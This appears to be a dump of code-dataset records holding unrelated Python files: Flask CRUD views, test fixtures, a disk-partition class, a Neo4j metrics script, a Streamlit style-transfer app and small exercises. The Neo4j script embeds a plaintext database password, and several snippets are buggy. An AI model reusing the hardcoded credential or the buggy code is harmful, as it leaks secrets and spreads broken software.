client_form.ClientForm()\n form.nome_responsavel.choices = [(row[0], row[2]) for row in result]\n form.nome_responsavel.choices.insert(0, (user_id, user_name))\n db = ClienteModel()\n result = db.get_info_nj()\n form.natureza_juridica.choices = [(row[0], (row[1] + ' - ' + row[2])) for row in result]\n result = db.get_info_porte()\n form.porte.choices = [(row[0], row[1]) for row in result]\n\n if request.method == 'POST':\n nome_responsavel = request.form['nome_responsavel']\n empresa = request.form['empresa']\n natureza_juridica = int(request.form['natureza_juridica'])\n porte = int(request.form['porte'])\n cep = request.form['cep']\n endereco = request.form['endereco']\n numero = request.form['numero']\n complemento = request.form['complemento']\n cidade = request.form['cidade']\n bairro = request.form['bairro']\n estado = request.form['estado']\n nome = request.form['nome']\n telefone = request.form['telefone']\n celular = request.form['celular']\n email = request.form['email']\n capital_social = request.form['capital_social']\n nire = request.form['nire']\n cnpj = request.form['cnpj']\n inscricao_estadual = request.form['inscricao_estadual']\n ccm = request.form['ccm']\n tributacao = request.form['tributacao']\n cnae_principal = request.form.getlist('cnae[]')\n dia_faturamento = request.form['dia_faturamento']\n folha_pagamento = request.form['folha_pagamento']\n certificado_digital = request.form['certificado_digital']\n impugnacao = request.form['impugnacao']\n observacoes = request.form['observacoes']\n id_responsavel = int(nome_responsavel)\n validadores = Validadores()\n cnaes = validadores.valida_cnae(\"https://servicodados.ibge.gov.br/api/v2/cnae/subclasses/\", cnae_principal)\n if cnaes[0] == 0:\n flash('Erro de CNAE! O(s) CNAE(s) precisam ser válidos.')\n return render_template('cliente/cadastrar_cliente.html', form=form)\n\n\n # TODO codar validação para CNAES do mesmo nome\n # TODO verificar se a validação do mesmo cnpj esta funcionando corretamente\n if db.search_cnpj(cnpj) == 0:\n if validadores.validar_cnpj(cnpj):\n if db.insert_company(nome_responsavel, natureza_juridica, porte, id_responsavel, empresa, endereco,\n bairro,\n cep, cidade, numero, complemento, estado,\n capital_social, nire, cnpj, inscricao_estadual, ccm, str(cnaes[1]),\n tributacao, dia_faturamento, folha_pagamento, certificado_digital, impugnacao,\n observacoes, nome, telefone, email, celular):\n\n flash('Empresa cadastrada com sucesso!')\n return redirect(url_for('listar_clientes', form=form))\n else:\n flash('Houve um erro ao inserir a cliente, contate o administrador do sistema')\n\n else:\n flash('Erro de CNPJ! Entre com um CNPJ válido.')\n\n else:\n flash('Empresa não cadastrada, CNPJ já existe no sistema!')\n\n return render_template('cliente/cadastrar_cliente.html', form=form)\n\n\n@app.route('/listar_clientes', methods=[\"GET\"])\ndef listar_clientes():\n db = ClienteModel()\n user_id = session['user_id']\n lista_clientes = db.get_companies(user_id)\n return render_template('cliente/listar_clientes.html', result=lista_clientes, pagina='Listar Clientes')\n\n\n@app.route('/editar_cliente/', methods=[\"GET\", \"POST\"])\ndef editar_cliente(id):\n db = ClienteModel()\n result_a = db.get_nj_porte_nome(id)\n result = db.find_one_id(id)\n # TODO atualizar no banco\n # TODO arrumar template quando otiver somente 1 cnae, carde esta desalinhado\n cnaes = result[18]\n cnaes = cnaes.replace('\"', '')\n cnaes = cnaes.replace(\"'\", \"\")\n cnaes = cnaes.replace('[', '')\n cnaes = cnaes.replace(']', '')\n cnaes = cnaes.replace(']', '')\n cnaes = cnaes.replace(' ', '')\n cnaes = cnaes.split(',')\n\n form = client_form.ClientForm(\n nome_responsavel=result_a[2],\n empresa=result[5],\n natureza_juridica=result_a[0],\n porte=result_a[1],\n cep=result[6],\n endereco=result[7],\n numero=result[8],\n complemento=result[9],\n cidade=result[10],\n bairro=result[11],\n estado=result[12],\n capital_social=result[13],\n nire=result[14],\n cnpj=result[15],\n inscricao_estadual=result[16],\n ccm=result[17],\n tributacao=result[19],\n cnaes=cnaes,\n dia_faturamento=result[20],\n folha_pagamento=result[21],\n certificado_digital=result[22],\n impugnacao=result[23],\n observacoes=result[24],\n nome=result[28],\n telefone=result[29],\n email=result[30],\n celular=result[31]\n )\n tamanho = len(cnaes)\n user_id = result[3]\n db = UsuarioModel()\n result = db.get_users()\n form.nome_responsavel.choices = [(row[0], row[2]) for row in result]\n form.nome_responsavel.choices.insert(0, (user_id, result_a[2]))\n\n db = ClienteModel()\n result = db.get_info_nj()\n form.natureza_juridica.choices = [(row[0], (row[1] + ' - ' + row[2])) for row in result]\n form.natureza_juridica.choices.insert(0, (1, result_a[0]))\n result = db.get_info_porte()\n form.porte.choices = [(row[0], row[1]) for row in result]\n form.porte.choices.insert(0, (1, result_a[1]))\n\n if request.method == 'POST':\n nome_responsavel = request.form['nome_responsavel']\n empresa = request.form['empresa']\n natureza_juridica = request.form['natureza_juridica']\n porte = request.form['porte']\n cep = request.form['cep']\n endereco = request.form['endereco']\n numero = request.form['numero']\n complemento = request.form['complemento']\n cidade = request.form['cidade']\n bairro = request.form['bairro']\n estado = request.form['estado']\n capital_social = request.form['capital_social']\n nire = request.form['nire']\n cnpj = request.form['cnpj']\n inscricao_estadual = request.form['inscricao_estadual']\n ccm = request.form['ccm']\n tributacao = request.form['tributacao']\n cnae_principal = request.form.getlist('cnae[]')\n dia_faturamento = request.form['dia_faturamento']\n folha_pagamento = request.form['folha_pagamento']\n certificado_digital = request.form['certificado_digital']\n impugnacao = request.form['impugnacao']\n observacoes = request.form['observacoes']\n id_responsavel = nome_responsavel\n nome = request.form['nome']\n email = request.form['email']\n telefone = request.form['telefone']\n celular = request.form['celular']\n validadores = Validadores()\n cnae = validadores.valida_cnae(\"https://servicodados.ibge.gov.br/api/v2/cnae/subclasses/\", cnae_principal)\n if cnae == 1:\n flash('Erro de CNAE Secundário! Entre com um CNAE Secundário válido.')\n return redirect(url_for('editar_cliente', id=id))\n\n elif cnae == 2:\n flash('Erro de CNAE Primário! Entre com um CNAE Primário válido.')\n return redirect(url_for('editar_cliente', id=id))\n\n if validadores.validar_cnpj(cnpj):\n if db.update_company(empresa, natureza_juridica, porte, cep, endereco, numero, complemento, cidade, bairro,\n estado, capital_social, nire,\n cnpj, inscricao_estadual, ccm, tributacao, cnae_principal, cnae_secundaria,\n dia_faturamento, folha_pagamento, certificado_digital, impugnacao, observacoes,\n id_responsavel, id,\n nome, email, telefone, celular):\n\n flash('Alterações salvas com sucesso!')\n\n else:\n flash('Erro ao realizar as alterações, contate o administrador do sistema.')\n else:\n flash('Erro de CNPJ! Entre com um CNPJ válido.')\n\n return render_template('cliente/editar_cliente.html', form=form, cnaes=cnaes, tamanho=tamanho)\n\n\n@app.route('/excluir_cliente/\"', methods=[\"GET\", \"POST\"])\ndef excluir_cliente(id):\n db = ClienteModel()\n result = db.get_company(id)\n flag = 1\n if request.method == 'POST':\n if request.form['submit_button'] == 'Excluir empresa':\n if result:\n if db.update_status_company(result[0]):\n flash('cliente excluído com sucesso!')\n flag = 0\n\n return render_template('cliente/excluir_cliente.html', pagina='Excluir Cliente', result=result, flag=flag)\n","repo_name":"HenriqueBraz/app_flask","sub_path":"app/views/cliente/cliente_view.py","file_name":"cliente_view.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33690044931","text":"import unittest\nfrom unittest.mock import MagicMock\n\nfrom Models.classroom import Classroom\nfrom repos.classroom_repo_impl import ClassroomRepoImpl\nfrom services.classroom_service import ClassroomService\n\n\nclass TestClassroomService(unittest.TestCase):\n cr = ClassroomRepoImpl()\n crs = ClassroomService(cr)\n\n def test_get_classroom_above_price(self):\n self.crs.get_all_students = MagicMock(return_value=[\n Classroom(classroom_id=1, title=\"Math\", price=901, grade=68),\n Classroom(classroom_id=2, title=\"Physics\", price=602, grade=76),\n Classroom(classroom_id=3, title=\"Chemistry\", price=753, grade=73)\n ])\n\n refined_classrooms = self.crs.get_classroom_above_price(4)\n print(refined_classrooms)\n\n self.assertListEqual(refined_classrooms, [\n Classroom(classroom_id=2, title=\"Physics\", price=602, grade=76),\n Classroom(classroom_id=3, title=\"Chemistry\", price=753, grade=73)\n ])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Gabito4/Project1","sub_path":"services/test_classroom_service.py","file_name":"test_classroom_service.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39907256232","text":"import pybin.models as models\n\nimport pytest\n\nfrom tests.authentication.conftest import create_test_user # noqa: F401\n\n\n@pytest.fixture\ndef create_test_paste(db, create_test_user): # noqa: F811\n \"\"\"\n Create and return a Paste object\n \"\"\"\n new_paste = models.Paste(\n content=\"test paste\",\n author=create_test_user,\n )\n new_paste.save()\n\n return new_paste\n\n\n@pytest.fixture\ndef create_test_comment(db, create_test_user): # noqa: F811\n \"\"\"\n Create, save and return a Comment object\n \"\"\"\n new_comment = models.Comment(\n content=\"test comment\",\n author=create_test_user,\n )\n new_comment.save()\n\n return new_comment\n\n\n@pytest.fixture\ndef create_test_message(db, create_test_user): # noqa: F811\n \"\"\"\n Create, save and return a Message object\n \"\"\"\n new_message = models.Message(\n content=\"test message\",\n author=create_test_user,\n receiver=create_test_user,\n )\n new_message.save()\n\n return new_message\n\n\n@pytest.fixture\ndef create_test_reply(db, create_test_user): # noqa: F811\n \"\"\"\n Create and return a Reply object\n \"\"\"\n new_reply = models.Reply(\n content=\"test reply\",\n author=create_test_user,\n )\n\n return new_reply\n","repo_name":"hatredholder/Pastebin-Clone","sub_path":"tests/pybin/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"22653988975","text":"import os\nfrom .abstract import AbstractPartition\nfrom bootstrapvz.common.sectors import Sectors\n\n\nclass BasePartition(AbstractPartition):\n \"\"\"Represents a partition that is actually a partition (and not a virtual one like 'Single')\n \"\"\"\n\n # Override the states of the abstract partition\n # A real partition can be mapped and unmapped\n events = [{'name': 'create', 'src': 'nonexistent', 'dst': 'unmapped'},\n {'name': 'map', 'src': 'unmapped', 'dst': 'mapped'},\n {'name': 'format', 'src': 'mapped', 'dst': 'formatted'},\n {'name': 'mount', 'src': 'formatted', 'dst': 'mounted'},\n {'name': 'unmount', 'src': 'mounted', 'dst': 'formatted'},\n {'name': 'unmap', 'src': 'formatted', 'dst': 'unmapped_fmt'},\n\n {'name': 'map', 'src': 'unmapped_fmt', 'dst': 'formatted'},\n {'name': 'unmap', 'src': 'mapped', 'dst': 'unmapped'},\n ]\n\n def __init__(self, size, filesystem, format_command, mountopts, previous):\n \"\"\"\n :param Bytes size: Size of the partition\n :param str filesystem: Filesystem the partition should be formatted with\n :param list format_command: Optional format command, valid variables are fs, device_path and size\n :param BasePartition previous: The partition that preceeds this one\n \"\"\"\n # By saving the previous partition we have a linked list\n # that partitions can go backwards in to find the first partition.\n self.previous = previous\n # List of flags that parted should put on the partition\n self.flags = []\n # Path to symlink in /dev/disk/by-uuid (manually maintained by this class)\n self.disk_by_uuid_path = None\n super(BasePartition, self).__init__(size, filesystem, format_command, mountopts)\n\n def create(self, volume):\n \"\"\"Creates the partition\n\n :param Volume volume: The volume to create the partition on\n \"\"\"\n self.fsm.create(volume=volume)\n\n def get_index(self):\n \"\"\"Gets the index of this partition in the partition map\n\n :return: The index of the partition in the partition map\n :rtype: int\n \"\"\"\n if self.previous is None:\n # Partitions are 1 indexed\n return 1\n # Recursive call to the previous partition, walking up the chain...\n return self.previous.get_index() + 1\n\n def get_start(self):\n \"\"\"Gets the starting byte of this partition\n\n :return: The starting byte of this partition\n :rtype: Sectors\n \"\"\"\n if self.previous is None:\n return Sectors(0, self.size.sector_size)\n return self.previous.get_end()\n\n def map(self, device_path):\n \"\"\"Maps the partition to a device_path\n\n :param str device_path: The device path this partition should be mapped to\n \"\"\"\n self.fsm.map(device_path=device_path)\n\n def link_uuid(self):\n # /lib/udev/rules.d/60-kpartx.rules does not create symlinks in /dev/disk/by-{uuid,label}\n # This patch would fix that: http://www.redhat.com/archives/dm-devel/2013-July/msg00080.html\n # For now we just do the uuid part ourselves.\n # This is mainly to fix a problem in update-grub where /etc/grub.d/10_linux\n # checks if the $GRUB_DEVICE_UUID exists in /dev/disk/by-uuid and falls\n # back to $GRUB_DEVICE if it doesn't.\n # $GRUB_DEVICE is /dev/mapper/xvd{f,g...}# (on ec2), opposed to /dev/xvda# when booting.\n # Creating the symlink ensures that grub consistently uses\n # $GRUB_DEVICE_UUID when creating /boot/grub/grub.cfg\n self.disk_by_uuid_path = os.path.join('/dev/disk/by-uuid', self.get_uuid())\n if not os.path.exists(self.disk_by_uuid_path):\n os.makedirs(os.path.dirname(self.disk_by_uuid_path))\n os.symlink(self.device_path, self.disk_by_uuid_path)\n\n def unlink_uuid(self):\n if os.path.isfile(self.disk_by_uuid_path):\n os.remove(self.disk_by_uuid_path)\n self.disk_by_uuid_path = None\n\n def _before_create(self, e):\n \"\"\"Creates the partition\n \"\"\"\n from bootstrapvz.common.tools import log_check_call\n # The create command is fairly simple:\n # - fs_type is the partition filesystem, as defined by parted:\n # fs-type can be one of \"fat16\", \"fat32\", \"ext2\", \"HFS\", \"linux-swap\",\n # \"NTFS\", \"reiserfs\", or \"ufs\".\n # - start and end are just Bytes objects coerced into strings\n if self.filesystem == 'swap':\n fs_type = 'linux-swap'\n else:\n fs_type = 'ext2'\n create_command = ('mkpart primary {fs_type} {start} {end}'\n .format(fs_type=fs_type,\n start=str(self.get_start() + self.pad_start),\n end=str(self.get_end() - self.pad_end)))\n # Create the partition\n log_check_call(['parted', '--script', '--align', 'none', e.volume.device_path,\n '--', create_command])\n\n # Set any flags on the partition\n for flag in self.flags:\n log_check_call(['parted', '--script', e.volume.device_path,\n '--', ('set {idx} {flag} on'\n .format(idx=str(self.get_index()), flag=flag))])\n\n def _before_map(self, e):\n # Set the device path\n self.device_path = e.device_path\n if e.src == 'unmapped_fmt':\n # Only link the uuid if the partition is formatted\n self.link_uuid()\n\n def _after_format(self, e):\n # We do this after formatting because there otherwise would be no UUID\n self.link_uuid()\n\n def _before_unmap(self, e):\n # When unmapped, the device_path information becomes invalid, so we delete it\n self.device_path = None\n if e.src == 'formatted':\n self.unlink_uuid()\n","repo_name":"andsens/bootstrap-vz","sub_path":"bootstrapvz/base/fs/partitions/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5951,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"3"} +{"seq_id":"23987010326","text":"import pandas as pd\r\nfrom neo4j import GraphDatabase\r\n\r\n# Initialize Neo4j connection\r\nuri = \"bolt://localhost:7687\"\r\ndriver = GraphDatabase.driver(uri, auth=(\"neo4j\", \"qeijbatmtk7e\")) # Replace 'password' with your neo4j password\r\n\r\ndef calculate_metrics(tx):\r\n # Fan-in and Fan-out\r\n query = \"\"\"\r\n MATCH (a:Component)\r\n OPTIONAL MATCH (a)<-[:DEPENDS_ON]-(in)\r\n OPTIONAL MATCH (a)-[:DEPENDS_ON]->(out)\r\n RETURN a.name as Component, count(DISTINCT in) as Fan_in, count(DISTINCT out) as Fan_out\r\n \"\"\"\r\n result = tx.run(query)\r\n return pd.DataFrame([dict(record) for record in result])\r\n\r\nwith driver.session() as session:\r\n metrics_df = session.execute_write(calculate_metrics)\r\n\r\n# Calculate Instability\r\nmetrics_df['I'] = metrics_df['Fan_out'] / (metrics_df['Fan_in'] + metrics_df['Fan_out'])\r\n\r\n# Save Metrics to Excel\r\nmetrics_df.to_excel('metrics.xlsx', index=False)\r\n","repo_name":"olzhasimashev/Sys_design_assignment3","sub_path":"calculate_metrics.py","file_name":"calculate_metrics.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9277711113","text":"#\n# @lc app=leetcode.cn id=74 lang=python3\n#\n# [74] 搜索二维矩阵\n#\n\n# @lc code=start\n\n\nclass Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n m = len(matrix)\n if m == 0:\n return False\n n = len(matrix[0])\n\n # 二分查找\n left, right = 0, m*n-1\n while left <= right:\n mid = (left+right)//2\n mid_elem = matrix[mid//n][mid % n]\n if target == mid_elem:\n return True\n elif target < mid_elem:\n right = mid-1\n else:\n left = mid+1\n return False\n\n\n# @lc code=end\n","repo_name":"purecall/my_leetcode","sub_path":"74 搜索二维矩阵.py","file_name":"74 搜索二维矩阵.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7862851737","text":"# Import for UI\nimport UI\nimport streamlit as st\n\n# Import for Image manupulation\nfrom PIL import Image\nimport cv2\nimport tensorflow as tf\nimport numpy as np\nimport time,os\n\n# PLotting libraries\nimport IPython.display as display\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nmpl.rcParams['figure.figsize'] = (12, 12)\nmpl.rcParams['axes.grid'] = False\nimport functools\n\n\n\n\n# ++++++++++++++++++++++++++++++++++++++\n# Clean Ram\n# ==========================================\n\nreset=st.button('click to reset and start fresh')\n\nif reset:\n # os.remove('style.png')\n try:\n os.remove(\"st.jpg\")\n UI.write('done1 st',tag='p',padding=1,bg='green')\n os.remove(\"im.jpg\")\n UI.write('done2 im',tag='p',padding=1,bg='green')\n os.remove(\"final.jpg\")\n UI.write('done',tag='p',padding=1,bg='green')\n except:\n UI.write(':)',tag='p',padding=1,bg='yellow')\n \nrefresh=st.button('refresh')\n\nif refresh:\n st.experimental_rerun()\n\n\n# ++++++++++++++++++++++++++++++++++++++\n# Page setup\n# ==========================================\n\n\nUI.add_bg_from_local('Style Background.jpg')\n\nUI.write(\"NST-Neural Styles Transfer\",tag='h1',bg='maroon',fontsize=30)\n\n\n# ++++++++++++++++++++++++++++++++++++++\n# Taking User Upload\n# ======================================\n\ncol1,col2=st.columns(2)\n\nwith col1:\n \n UI.write('Upload your photo',bg='green',fontsize=20,tag='h2')\n image_file = st.file_uploader(\" \",type=['jpg'])\n\n if image_file is not None:\n\n col1.write(image_file.name)\n # Open St format to Image format\n img = Image.open(image_file)\n col1.image(img) #Display the image\n cv2.imwrite(img=cv2.cvtColor(np.array(img),cv2.COLOR_RGB2BGR),filename='im.jpg') #Save the file\n # cv2.imwrite(img=cv2.cvtColor(np.array(img),cv2.COLOR_RGB2BGR),filename='i'+image_file.name)\n \n\nwith col2:\n \n UI.write('Upload Style photo',bg='green',fontsize=20,tag='h2')\n style_file = st.file_uploader(\"Close the file after Upload\",type=['jpg'],key='style')\n\n if style_file is not None:\n\n col2.write(style_file.name)\n # Open St format to Image format\n sty = Image.open(style_file)\n col2.image(sty) #Display the image\n cv2.imwrite(img=cv2.cvtColor(np.array(sty),cv2.COLOR_RGB2BGR),filename='st.jpg') #Save the file\n\n\nUI.write('Neural Style transfer image',tag='h1',fontsize=35,bg='orange',color='white')\n\n\n\n\nbut=st.button('press for Style transfer')\n\n\nif but:\n\n# Load compressed models from tensorflow_hub\n os.environ['TFHUB_MODEL_LOAD_FORMAT'] = 'COMPRESSED'\n\n def tensor_to_image(tensor):\n tensor = tensor*255\n tensor = np.array(tensor, dtype=np.uint8)\n if np.ndim(tensor)>3:\n assert tensor.shape[0] == 1\n tensor = tensor[0]\n return Image.fromarray(tensor)\n\n\n\n content_path ='im.jpg' #r\"C:\\Users\\Slmss\\OneDrive\\Pictures\\Camera Roll\\IMG_20221001_144029.jpg\"#tf.keras.utils.get_file('YellowLabradorLooking_new.jpg', 'https://storage.googleapis.com/download.tensorflow.org/example_images/YellowLabradorLooking_new.jpg')\n style_path ='st.jpg'# tf.keras.utils.get_file('kandinsky5.jpg','https://storage.googleapis.com/download.tensorflow.org/example_images/Vassily_Kandinsky%2C_1913_-_Composition_7.jpg')\n\n\n def load_img(path_to_img):\n max_dim = 512\n img = tf.io.read_file(path_to_img)\n img = tf.image.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n\n shape = tf.cast(tf.shape(img)[:-1], tf.float32)\n long_dim = max(shape)\n scale = max_dim / long_dim\n\n new_shape = tf.cast(shape * scale, tf.int32)\n\n img = tf.image.resize(img, new_shape)\n img = img[tf.newaxis, :]\n return img\n\n\n # In[6]:\n\n\n def imshow(image, title=None):\n if len(image.shape) > 3:\n image = tf.squeeze(image, axis=0)\n\n plt.imshow(image)\n if title:\n plt.title(title)\n\n\n # In[7]:\n\n\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n\n # plt.subplot(1, 2, 1)\n # imshow(content_image, 'Content Image')\n\n # plt.subplot(1, 2, 2)\n # imshow(style_image, 'Style Image')\n\n\n # In[8]:\n\n\n import tensorflow_hub as hub\n hub_model = hub.load('https://tfhub.dev/google/magenta/arbitrary-image-stylization-v1-256/2')\n\n stylized_image = hub_model(tf.constant(content_image), tf.constant(style_image))[0]\n i=tensor_to_image(stylized_image)\n\n cv2.imwrite(img=cv2.cvtColor(np.array(i),cv2.COLOR_RGB2BGR),filename='final.jpg')\n\n\n\n\n\ntry:\n with open(\"final.jpg\", \"rb\") as file:\n down = st.download_button(\n label=\"Download image\",\n data=file,\n file_name=\"style.png\",\n mime=\"image/png\"\n )\n st.image('final.jpg')\n\nexcept:\n UI.write('Happy styling',bg='Orange',padding='45px')\n","repo_name":"slmsshk/NST_app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43032140388","text":"\"\"\"\n给定一个数组 A[0,1,…,n-1]，请构建一个数组 B[0,1,…,n-1]，\n其中 B[i] 的值是数组 A 中除了下标 i 以外的元素的积, \n即 B[i]=A[0]×A[1]×…×A[i-1]×A[i+1]×…×A[n-1]。不能使用除法。\n\n所有元素乘积之和不会溢出 32 位整数\na.length <= 100000\n\"\"\"\n\nclass Solution:\n def constructArr(self, a: list) -> list:\n\n if a == []:\n return []\n\n res = []\n listLen = len(a)\n lres = [1 for item in range(listLen)]\n rres = [1 for item in range(listLen)]\n\n for i in range(1,listLen):\n lres[i] = a[i - 1] * lres[i - 1]\n \n for i in range(listLen - 2, -1, -1):\n rres[i] = a[i + 1] * rres[i + 1]\n \n for i in range(listLen):\n res.append(lres[i] * rres[i])\n \n return res\n\ntest = Solution()\na = [1,2,3,5,4]\nprint(test.constructArr(a))","repo_name":"AlAaraaf/leetcodelog","sub_path":"offer/offer66.py","file_name":"offer66.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74115801682","text":"import time\nfrom tkinter import *\n\n\ndef disappear(event):\n root.attributes('-alpha', 0.01)\n\n\ndef show(event):\n root.attributes('-alpha', 1)\n\n\ndef center_window(root, width, height):\n screenwidth = root.winfo_screenwidth()\n window_wide_center = (screenwidth - width) / 2\n size = '%dx%d+%d+%d' % (width, height, window_wide_center, 0)\n root.geometry(size)\n\n\ndef set_window(root):\n root.attributes('-toolwindow', True, '-alpha', 0.9, '-fullscreen', False, '-topmost', True)\n root.overrideredirect(True)\n root.grid()\n center_window(root, 360, 30)\n root.bind(sequence='', func=disappear)\n root.bind(sequence='', func=show)\n\n\nroot = Tk()\nset_window(root)\nvar1 = StringVar()\nvar2 = StringVar()\nvar3 = StringVar()\n\n\nclass CreateContain:\n\n def __init__(self, root):\n self.fm1_1 = Frame(root)\n Label(text='virtual machine').grid(row=1, column=0, padx=20, pady=2)\n Label(text='dsp').grid(row=2, column=0, padx=20, pady=2)\n Label(text='console').grid(row=3, column=0, padx=20, pady=2)\n\n self.fm1_2 = Frame(root)\n Label(textvariable=var1, fg='blue', font=(\"黑体\", 12)).grid(row=1, column=1, padx=60, pady=2)\n Label(textvariable=var2, fg='blue', font=(\"黑体\", 12)).grid(row=2, column=1, padx=60, pady=2)\n Label(textvariable=var3, fg='blue', font=(\"黑体\", 12)).grid(row=3, column=1, padx=60, pady=2)\n\n def gettime(self):\n var1.set(time.strftime(\"%H:%M:%S\") + ' oo1')\n var2.set(time.strftime(\"%H:%M:%S\") + ' oo2')\n var3.set(time.strftime(\"%H:%M:%S\") + ' oo3')\n self.fm1_2.after(1000, self.gettime)\n\n\nif __name__ == '__main__':\n create = CreateContain(root)\n create.gettime()\n mainloop()\n","repo_name":"CuteSmartTiger/mastering_python","sub_path":"GUI/实时输出数据之捕获鼠标事件优化.py","file_name":"实时输出数据之捕获鼠标事件优化.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"32600755","text":"# 연결 요소의 개수\n\n# cnt, BFS\nimport sys\nfrom collections import deque\n\nsys.stdin = open('C:\\github\\Algorithm\\BFS & DFS\\input.txt', 'rt')\n\n\ndef bfs(start):\n q = deque()\n q.append(start)\n visited[start] = True\n\n while q:\n v = q.popleft()\n for i in graph[v]:\n if not visited[i]:\n q.append(i)\n visited[i] = True\n\n\nn, m = map(int, input().split(' '))\n\nvisited = [False] * (n+1)\n\ngraph = [[] for _ in range(n+1)]\nfor i in range(m):\n a, b = map(int, input().split(' '))\n graph[a].append(b)\n graph[b].append(a)\n\ncnt = 0\nfor i in range(1, n+1):\n if not visited[i]:\n bfs(i)\n cnt += 1\n\nprint(cnt)\n","repo_name":"limgeonho/Algorithm-1","sub_path":"BOJ/DFS & BFS/[BOJ]11724-1.py","file_name":"[BOJ]11724-1.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16418493583","text":"import numpy\n\n\nclass Wall:\n\n \"\"\"\n Examples:\n ---------\n >>> w = Wall([1.0, 0.0, 0.0], [0,0,0])\n >>> w.distance(numpy.array([1.0, 0.0, 0.0]))\n >>> w.distance(numpy.array([[-2.5, 2.0, 1.0], [1.0, 0.0, 0.0]]).transpose())\n \"\"\"\n\n def __init__(self, vector, point, species='A'):\n \"\"\"A plane specified by `point` and a `vector` orthogonal to the plane\"\"\"\n vec = numpy.array(vector)\n self.normal = vec / numpy.sum(vec**2)**0.5\n self.point = numpy.array(point)\n self.species = species\n self._offset = numpy.dot(self.point, self.normal)\n\n def distance(self, point):\n \"\"\"\n Return the vector distance between the `point` and the wall, where\n `point` is an array whose first dimension equals the spatial\n dimensionality.\n \"\"\"\n scalar_distance = (numpy.dot(self.normal, point) - self._offset)\n if len(point.shape) == 1:\n return scalar_distance * self.normal\n elif len(point.shape) == 2:\n return scalar_distance * self.normal[:, None]\n else:\n raise ValueError('input vector has more than 2 dimensions')\n","repo_name":"atooms-mirror/atooms","sub_path":"atooms/system/wall.py","file_name":"wall.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37673326827","text":"\ndef action_1(arr):\n print(7)\n\ndef action_2(arr):\n if arr[0] > arr[1]:\n print(\"Bigger\")\n elif arr[0] < arr[1]:\n print(\"Smaller\")\n else:\n print(\"Equal\")\n\ndef action_3(arr):\n ls = sorted(arr[:3])\n print(ls[1])\n\ndef action_4(arr):\n print(sum(arr))\n\ndef action_5(arr):\n count = 0\n for num in arr:\n if num % 2 == 0:\n count += num\n print(count)\n\ndef action_6(arr):\n print(''.join(list(map(lambda x: chr((x % 26) + 97), arr))))\n\ndef action_7(arr):\n idx = 0\n seen = set()\n seen.add(idx)\n n = len(arr)\n while idx != n - 1:\n idx = arr[idx]\n if idx in seen:\n print(\"Cyclic\")\n return\n if idx >= n or idx < 0:\n print(\"Out\")\n return\n seen.add(idx)\n print(\"Done\")\n\ndef hash(t):\n switcher = {\n 1 : action_1,\n 2 : action_2,\n 3 : action_3,\n 4 : action_4,\n 5 : action_5,\n 6 : action_6,\n 7 : action_7\n }\n return switcher(t)\n\n\n# main\nN, t = map(int, input().split())\nline = input()\narr = list(map(int, line.strip().split()))\n#hash(t)(arr)\nif t == 1:\n action_1(arr)\nelif t == 2:\n action_2(arr)\nelif t == 3:\n action_3(arr)\nelif t == 4:\n action_4(arr)\nelif t == 5:\n action_5(arr)\nelif t == 6:\n action_6(arr)\nelif t == 7:\n action_7(arr)\n\n\n","repo_name":"merrymeerkat/ShortProblems","sub_path":"kattis/basic_programming_1.py","file_name":"basic_programming_1.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29393611812","text":"class Reward:\n \"\"\"\n Represents a reward\n \"\"\"\n \n def __init__(self,broadcaster_name,broadcaster_id,id,image=\"\",background_color=\"\",is_enabled=True,cost=0,title=\"\",prompt=\"\",is_user_input_required=False,max_per_stream_setting={},max_per_user_per_stream_setting={},global_cooldown_setting={},is_paused=False,is_in_stock=True,default_image={},should_redemptions_skip_request_queue=False,redemptions_redeemed_current_stream=0,cooldown_expires_at=None):\n \"\"\"\n Args:\n broadcaster_name (str): Name of the channel owner of the reward\n broadcaster_id (str): ID of the channel owner of the reward\n id (str): ID of the reward\n image (str): Image of the reward\n background_color (str): Background color of the reward\n is_enabled (bool): Is the reward currently enabled\n cost (int): The cost of the reward\n title (str): The title of the reward\n prompt (str): The prompt for the viewer when they are redeeming the reward\n is_user_input_required (bool): Does the user need to enter information when redeeming the reward\n max_per_stream_setting (dict): Settings about maximum uses per stream\n max_per_user_per_stream_setting (dict): Settings about maximum uses per stream and user\n global_cooldown_setting (dict): Settings about global cooldown\n is_paused (bool): Is the reward currently paused\n is_in_stock (bool): Is the reward currently in stock\n default_image (dict): Default images of the reward\n should_redemptions_skip_request_queue (bool): Should redemptions be set to FULFILLED status immediately when redeemed and skip the request queue instead of the normal UNFULFILLED status\n redemptions_redeemed_current_stream (int): The 